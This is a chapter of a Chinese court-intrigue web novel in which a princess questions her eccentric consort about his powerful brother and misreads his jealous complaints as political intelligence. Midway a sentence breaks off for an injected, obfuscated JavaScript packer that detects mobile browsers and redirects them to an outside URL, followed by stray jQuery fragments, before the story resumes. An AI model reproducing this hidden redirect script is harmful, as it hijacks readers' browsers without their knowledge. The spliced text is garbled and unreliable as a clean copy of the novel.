16. 抢阿摇

作品:《被迫娶一个男皇后

    司隶校尉这个官职,即使现今吏治再不清明,也不是普通有钱有势就能妄想的。


    虽然品秩也是二千石,与一般的九卿中郎将相似,但若是走进卖官鬻爵的店铺说,咱这次就来个司隶校尉吧!


    基本类似于走进一个炊饼铺子,向老板说,这回就买你亲爹了!效果差不太多。


    位不高而权极重,督察三辅、三河,掌握司州都畿地区的军政监察,无所不纠,且有三千余卫戍军队,是控制都中和禁中的核心。


    谢巡早年便曾自领此职,现今让次子谢充担任,可见对这个儿子的信用之重。


    此人老太傅说他“贪婪”,郑小丸说地方官吏“吃相难看”,这两者加在一起嘛……


    盛尧手里把结案文书翻来覆去看了几遍,将背后的谢琚拍开,支着下巴,对着窗外枯枝上的积雪发呆。卢览虽能为她筹谋内府之事,可对外,尤其是对上谢家那几个,也不太方便动手。


    “唉……”她喃喃自语,“真是阴魂不散。”


    抱怨本是冲着那辆不知是谢家哪个公子的黑漆马车去的。话音刚落,身侧便传来一声带着不满的“嗯?”


    谢琚大约以为盛尧是在说他,皱起眉。


    盛尧摆摆手:“不是说你。”


    谢琚满意地点点头,又心安理得地将下巴搁上她的肩。


    盛尧被他压得一歪,脑子里却动了一下。


    是了,眼前不就坐着一个姓谢的吗?


    “殿下?”卢览见她神色有异,上前一步,“可是文书上有什么不妥?”


    “不妥的地方多了去了。”盛尧将手炉塞回谢琚怀里,将他往旁边推推,“这上面说,那晚在街角逗留的马车,是谢家的。”


    卢览眉心一紧:“谢家?哪个谢家?”


    “还能有哪个,”盛尧唉声叹气,指指挂在身边的谢琚,“他家的。”


    卢览的脸色也沉了下来。不管是谢家哪个,此时牵涉到司隶校尉谢充,这可不是什么好相与的人物。


    “殿下是怀疑,那晚的盘查,是谢充有意为之?”


    “不好说。”盛尧摇摇头,但若只是寻常的都亭长勒索钱财,绝不敢在见了东宫符传之后还如此嚣张。背后倘或没有谢充的默许甚至指使,借他们一百个胆子也不敢。


    一个谢巡已经够让她头疼,如今又冒出个虎视眈眈的谢充。谢家这几个儿子,果然如太傅所言,没一个是省油的灯。


    她正自烦恼,却瞥见谢琚正百无聊赖地拿手指绕衣带上的玉佩流苏。随手倚靠,闲适自然,与日前在车中气得背过身的样子毫不相似。


    唔。


    没一个是省油的灯。


    那这个人……当真是个彻头彻尾的傻子吗?


    嘉德殿上,白马撞殿、当众穿耳,恰到好处地解了围,甚至反将了那两位使者一军。那晚在街头,他一言不发,“送美人”的谎话,他当真一点都听不懂?


    司隶校尉谢充,执掌禁中兵事,是心腹大患。可此人深居简出,性情如何,喜好如何,她一概不知。知己知彼,方能百战不殆。眼前这个……不正是谢充的亲弟弟么?


    还是得试试。


    盛尧朝卢览使了个眼色:“阿览,你先去将内府的册籍整理出来,我稍后便去。”


    卢览会意,当即行礼告退。书房内,只剩下盛尧与谢琚二人。


    盛尧等了片刻,感觉时机差不多了,便推推肩上那个美丽的脑袋。


    “鲫鱼,醒醒。”


    谢琚似乎很不情愿。


    “我问你个事儿,”盛尧敲敲手上的文书,循循善诱,“你那个……嗯,这文书的……那个人,是个什么样的人?”


    她不敢提“二哥”二字,怕刺激到他,只好含糊地用“那个人”指代。


    谢琚终于睁开一边眼睛。顺着盛尧的目光,扫过往那扇刚刚关上的门,少做停顿,终于回答:


    “不好。很凶。”


    性格酷烈。盛尧心里一喜,有门!套出来了!


    “对,是很凶。”她深以为然,搓搓手,赶紧追问,“……是不是很难对付?”


    漂亮的眉毛微微蹙起,似乎在认真回忆。片刻后,表示肯定。


    “吃得多,话也多。”


    盛尧眼睛一亮。不正是“贪婪”与“专横”么?


    这人果然不是个真傻子。


    她精神大振,又凑近些:“那……他喜欢什么?有什么弱点?”


    “喜欢管人。不喜欢别人碰她的东西。”


    盛尧心里的小鼓啪哒哒。喜欢管人——司隶校尉嘛,监察都中,势所必然。不喜欢别人碰她的东西——手掌禁军,权同开府,僚属任命自专。完全对得上,几乎要为自己的急智拍案叫绝。


    “你好像……很不喜欢他?”她小心地问。


    “她抢我的东西。”谢琚立刻应道,显而易见的愤慨。


    盛尧心里顿时明镜似的,同情地拍拍他的肩。兄弟阋墙,争权夺利,自古如此,更何况谢氏这兄弟四人,那样复杂。看来这谢家二公子,没少欺负他这个弟弟。


    只是她原以为,谢琚应该与他大哥更加生分些。毕竟谢丞相的长子,乃是早年无子时,从去世兄长处过继而来,并非亲生。又多年领兵,在谢巡地位未显时,长久地跟着他,此刻还驻扎在司州北部。


    而这个次子谢充,反而是发妻之子,身处都中,早就有风声说他不得谢巡喜爱。其母也是早亡,遭遇多少与谢琚相似。


    盛尧本来琢磨着,他这二哥说不定会与他亲近。却没想到,谢氏诸子纷争已经到了如此明白尖锐的境地。因此她匆忙接着细问:


    “抢东西?抢什么?钱吗?还是……?”


    “抢阿摇。”


    “啊?”盛尧一呆,“抢我?”


    “对,”谢琚笑吟吟地,“她一来,你就不理我。还抢你的笔,抢你的地方。”


    盛尧大惊失色。


    “抢阿摇”,大约指谢充也打算控制宗室傀儡!


    “抢笔”,自然说的是干预政事!


    “抢地方”,天哪,居然觊觎储君之位么!


    原以为谢充只是个贪财的酷吏,没想到其野心居然还在其父之上。


    真不是个傻的,真不是个傻的。


    印证了她的猜想,盛尧下定决心,以后要将这谢四公子说的话,多多留意。


    谢琚顺带明里暗里把卢览骂了一通,此时心里很是痛快。


    却怕她真的把这臂助赶走,但又不想让这小皇女身边再多添些妄人,因此锲而不舍地追问:


    “那你打不打算赶她走?”


    赶走?把一个手握京畿兵马、权势熏天的司隶校尉赶走?这话也只有他这个疯子才敢说。


    “不赶。”盛尧揉了揉脸。……赶不了。


    “你好小气。”谢琚怒道。


    盛尧懒得理他,只顾得琢磨自己的事。


    一个性格最为酷烈,野心勃勃,又不受宠爱的儿子,那谢巡又为何要将司隶校尉这样至关重要的职位,交到他的手上?


    实在出人意外。


    司隶校尉,执掌都中监察与兵事,是天子脚下的利刃。谢巡既为权相,最忌的便是旁人染指京畿兵权。


    她所读的史书里,权臣防备儿子夺权的例子比比皆是,或是分其兵权,或是外放边地,或是干脆寻个由头圈禁起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725279|188915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。如此将天子利器轻易交予,无异于养虎为患,授人以柄,简直是匪夷所思。


    难道是谢巡年事已高,对僚属的掌控力有所下降?又或是,谢充的势力已然大到,连谢巡都不得不有所忌惮,只能以高位安抚?


    思来想去,总归还是隔了一层,始终难以想通这其中的关节。


    谢充。


    盛尧将这些事情在心里条条排列。太傅说他“贪婪”,谢琚“说”他“霸道”,卢览查到的风评是“酷吏”。一个贪婪霸道的酷吏,手握京畿兵马,还对自己这位新立的皇太女抱有敌意。


    嗯,不行,即使想不明白,也不能坐以待毙。


    “阿览,”她打开门,扬声道,“你过来。”


    谢琚起身,格外安闲地站在旁边,卢览果然没走,闻声探头进来。


    “我们得想个法子,摸一摸这位司隶校尉的底细。”盛尧把她让进来,“至少得知己知彼。”


    “怎么摸?”卢览皱眉。


    盛尧想想,道:“他既贪财,便好办些。咱们从内府支些钱出来,寻个由头,以我的名义,给他送一份厚礼过去。礼单巧妙些,贵重,但别太扎眼,只说是……”


    “……贺他新迁之喜。”卢览接道,盛尧点点头,司隶校尉府不久前刚刚修葺过,送一份贺礼,名正言顺。


    “送礼是其一,”卢览补道,“殿下还可上一道表,称赞司隶校尉府近日‘清查乱党、整肃都畿’有功,请丞相予以嘉奖。一示拉拢,二表善意,三则是在向谢相表明,您并无与他二子为敌之意。”


    “行。”盛尧也觉得很是妥当。


    一连几日,别苑都十分平静。卢览将事情办得无懈可击,但礼单送出去了,表彰的奏章也递上去了,都如石沉大海,没得到任何回应。谢充那边既不收礼,也不退礼,奏章到了丞相府,谢巡也只是留中不发。


    就这么不冷不热,比直接的敌意更教人心焦。


    当盛尧以为此事将不了了之的时候,丞相府那边,终于传来了消息。


    来的是外府长史崔亮。恭恭敬敬地递上一份名刺,对盛尧道:“殿下,谢府递来消息,说是……君侯想请殿下到城西别业一叙。”


    盛尧接过名刺,展开一看,上面只有一个“绰”字,笔锋清隽。


    “君侯?”她有些不解。


    崔亮躬身解释道:“殿下,这……这说的是三公子,谢绰。三公子如今领中领军之职,开府置佐,按制,可称君侯。”


    中领军,掌禁军五营,宿卫宫中,是比司隶校尉更近的军职。


    盛尧很是吃惊。


    她以为这几日明里暗里的示好,会引来谢充的回应,却没想到,先找上门来的,竟然是老三,谢绰。


    “他……他请我去做什么?”心里的小鼓就打起来了。


    崔亮捋须道:“名刺上只说是‘赏雪清谈’,旁的?下官也不知晓。”


    又是清谈。盛尧十分抓狂,对这些名士行径简直有阴影。


    她看向一旁的卢览,卢览正折腾一堆竹简,从上面冒出头,对她微微颔首。


    “嗯,”盛尧定一定神,“你回话去,便说我准时赴约。”


    待崔亮退下,卢览才从后头跟上来,皱着眉毛:“殿下,此事蹊跷。咱们算是与二公子谢充交接,他却按兵不动,反倒是素无往来的三公子先下帖。这恐怕……不太对罢。”


    “我知道。”盛尧点点头,手里捏着名刺,焦急地转圈,“可我能不去么?”


    正说着,迎面见谢琚走了过来,白裘绵密地在身侧垂落。


    “阿摇,”青年偏一偏头,自后面将她拢住,笑着问她,“你在害怕吗?”